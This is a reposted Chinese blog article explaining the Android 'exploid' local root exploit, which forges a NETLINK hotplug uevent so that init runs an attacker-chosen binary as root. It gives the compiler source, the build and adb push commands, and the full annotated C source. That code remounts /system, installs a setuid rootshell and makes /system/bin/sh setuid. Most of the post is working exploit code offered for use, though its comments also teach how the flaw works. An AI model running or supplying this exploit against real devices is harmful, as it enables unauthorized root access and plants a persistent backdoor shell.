android代码剖析root,【转】Android root源代码剖析

linux系统由udev提供系统设备的管理,比如提供热拔插usb设备等等。而Android把udev的工作移交给init进程。而linux中版本号小于1.4.1的udev不会检查是由内核还是用户发送热拔插信息。因此用户可以发送恶意的信息让内核加载定义的恶意程序从而取得root权限。该代码如下。

程序执行的顺序用(1)序号标明了。

通过在 http://www.codesourcery.com/sgpp/lite/arm/portal/release1803 下载编译工具

通过arm-none-eabi-gcc exploid.c -static -o exploid 编译

adb push exploid /data/local/tmp 目录中执行即可root

提权之后rootshell是一个权限为04711的属于root的可执行程序,普通用户也可以运行该程序,由于S位置位,当普通用户执行该程序时有效用户ID为root,从而可以运行root用户才能执行的程序和操作,从而提权成功。

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

int main(int argc, char **argv, char **env)

{

char buf[512], path[512];

int ofd;

struct sockaddr_nl snl;

struct iovec iov = {buf, sizeof(buf)};

//(1)初始化要发送的数据,通过NET_LINK机制(参见man 手册,可以与内核实现近似于套接字的通信方式)发送

struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};

int sock;

char *basedir = NULL;

/* I hope there is no LD_ bug in androids rtld :) */

//(11)root后执行rootshell则执行该步,直接创建一个有root权限的shell

if (geteuid() == 0 && getuid() != 0)

rootshell(env);

//(2)获取程序的路径,为/data/local/tmp/exploid

if (readlink("/proc/self/exe", path, sizeof(path)) < 0)

die("[-] readlink");

if (geteuid() == 0) {

//(9)有内核加载热拔插固件时再次执行该应用,此时有效id为为0,有root权限

clear_hotplug();

/* remount /system rw */

//(10)拷贝自己到/system/bin/目录下成为rootshell,并改变sh的文件属性

remount_system("/system");

if (copy(path, "/system/bin/rootshell") != 0)

chmod("/system/bin/sh", 04755);

else

chmod("/system/bin/rootshell", 04711);

for (;;)

sleep(3);

}

printf("[*] Android local root exploid (C) The Android Exploid Crew\n");

//(3)改变工作目录,没有root权限,只可以在少数目录执行

basedir = "/sqlite_stmt_journals";

if (chdir(basedir) < 0) {

basedir = "/data/local/tmp";

if (chdir(basedir) < 0)

basedir = strdup(getcwd(buf, sizeof(buf)));

}

printf("[+] Using basedir=%s, path=%s\n", basedir, path);

printf("[+] opening NETLINK_KOBJECT_UEVENT socket\n");

memset(&snl, 0, sizeof(snl));

snl.nl_pid = 1;

snl.nl_family = AF_NETLINK;

//(4)构建一个NETLINK的套接字

if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)

die("[-] socket");

//(5)创建要热拔插的文件,其中hotplug文件中存储的为/data/local/tmp/exploid

close(creat("loading", 0666));

if ((ofd = creat("hotplug", 0644)) < 0)

die("[-] creat");

if (write(ofd, path , strlen(path)) < 0)

die("[-] write");

close(ofd);

//(6)建立一个data文件,为指向系统的hotplug的符号链接

symlink("/proc/sys/kernel/hotplug", "data");

//(7)构建发送给内核的信息,内容为进行热拔插,固件位置在/data/local/tmp/hotplug

snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"

"SUBSYSTEM=firmware%c"

"FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);

printf("[+] sending add message ...\n");

//(8)发送该信息

if (sendmsg(sock, &msg, 0) < 0)

die("[-] sendmsg");

close(sock);

printf("[*] Try to invoke hotplug now, clicking at the wireless\n"

"[*] settings, plugin USB key etc.\n"

"[*] You succeeded if you find /system/bin/rootshell.\n"

"[*] GUI might hang/restart meanwhile so be patient.\n");

sleep(3);

return 0;

}

void die(const char *msg)

{

perror(msg);

exit(errno);

}

int copy(const char *from, const char *to)

{

int fd1, fd2;

char buf[0x1000];

int r = 0;

if ((fd1 = open(from, O_RDONLY)) < 0)

return -1;

if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) {

close(fd1);

return -1;

}

for (;;) {

r = read(fd1, buf, sizeof(buf));

if (r <= 0)

break;

if (write(fd2, buf, r) != r)

break;

}

close(fd1);

close(fd2);

sync(); sync();

return r;

}

void clear_hotplug()

{

int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC);

write(ofd, "", 1);

close(ofd);

}

void rootshell(char **env)

{

char *sh[] = {"/system/bin/sh", 0};

// AID_SHELL

if (getuid() != 2000)

die("[-] Permission denied.");

setuid(0); setgid(0);

execve(*sh, sh, env);

die("[-] execve");

}

int remount_system(const char *mntpoint)

{

FILE *f = NULL;

int found = 0;

char buf[1024], *dev = NULL, *fstype = NULL;

if ((f = fopen("/proc/mounts", "r")) == NULL)

return -1;

memset(buf, 0, sizeof(buf));

for (;!feof(f);) {

if (fgets(buf, sizeof(buf), f) == NULL)

break;

if (strstr(buf, mntpoint)) {

found = 1;

break;

}

}

fclose(f);

if (!found)

return -1;

if ((dev = strtok(buf, " \t")) == NULL)

return -1;

if (strtok(NULL, " \t") == NULL)

return -1;

if ((fstype = strtok(NULL, " \t")) == NULL)

return -1;

return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);

}

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值